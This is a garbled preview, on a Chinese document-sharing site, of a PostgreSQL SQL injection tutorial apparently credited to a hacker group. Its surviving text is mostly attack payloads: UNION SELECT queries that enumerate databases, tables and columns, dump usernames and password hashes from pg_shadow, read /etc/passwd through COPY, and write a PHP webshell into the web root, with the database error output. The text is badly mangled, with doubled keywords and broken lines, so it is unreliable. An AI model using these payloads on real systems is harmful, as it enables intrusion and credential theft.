下载本文档
版权说明：本文档由用户提供并上传，收益归属内容提供方，若内容存在侵权，请进行举报或认领
文档简介
1、GooglePostgresql的注入实例还是不太容易，所以，SQL软件中，不管是MSSQL,MySQL,OracleAccessinformix,firebird,db2，他们SQL 逻辑和语法都是万变不离其宗的。虽然这么说，但是不建议注入初学者来看本文。来自：SilicGroupHacker HYPERLINK / -selectselectunionunionselect PostgreSQL8.1.18oni686-redhat-linux-gnu,compiledbyGCCgcc(GCC)4.1.220080704 (Red Hat 4.1.2-46)selectselectaafr
2、ombbwhereunionunionselect1,2,. n,aafrombbwhere /所有的/所有的SQL-selectselectdatnamefromunionunionselect1,2,. ,n,datnamefromselectselectrelnamefrompg_stat_user_tableslimit1offset unionunionselectrelnamefrompg_stat_user_tableslimit1offset/limit/limit1offset0MySQL的limit0,1select select column_name from info
3、rmation_schema.columns where limit1offset union union select 1,2,.,n,column_name from information_schema.columns 复制代table_name=0 x3alimit1offset复制代/selectselectusename,passwdfromunionunionselect1,2,.n,usename,passwdfrom/pg_shadow/pg_shadow数据库类似于MySQL中的mysql数据rootpostgres-createcreatetabletest(codeco
4、pycopytestfrom/etc/passwdwithdelimiter(注(注：网上多数关于Postgresql的语句中是双引号，实际测试，8.x9.x双引号无效，应该Queryfailed:ERROR:extradataafterlastexpectedcolumnCONTEXT:COPYfile,line1: -insertinsertintotestvalues(?phpcopycopytest(code)toQueryfailed:ERROR:couldnotopenfile/var/www/html/aaa.phpforwriting:Permission pg_file_read()MySQLload_file()那么好用selectselectQueryfailed:ERROR:functionpg_file_length(unknown)doesnotexistHINT:Nofunction matches the gi
温馨提示
- 1. 本站所有资源如无特殊说明，都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等，如果需要附件，请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸，网页内容里面会有图纸预览，若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间，仅对用户上传内容的表现方式做保护处理，对用户上传分享的文档内容本身不做任何修改或编辑，并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容，请与我们联系，我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
评论
0/150
提交评论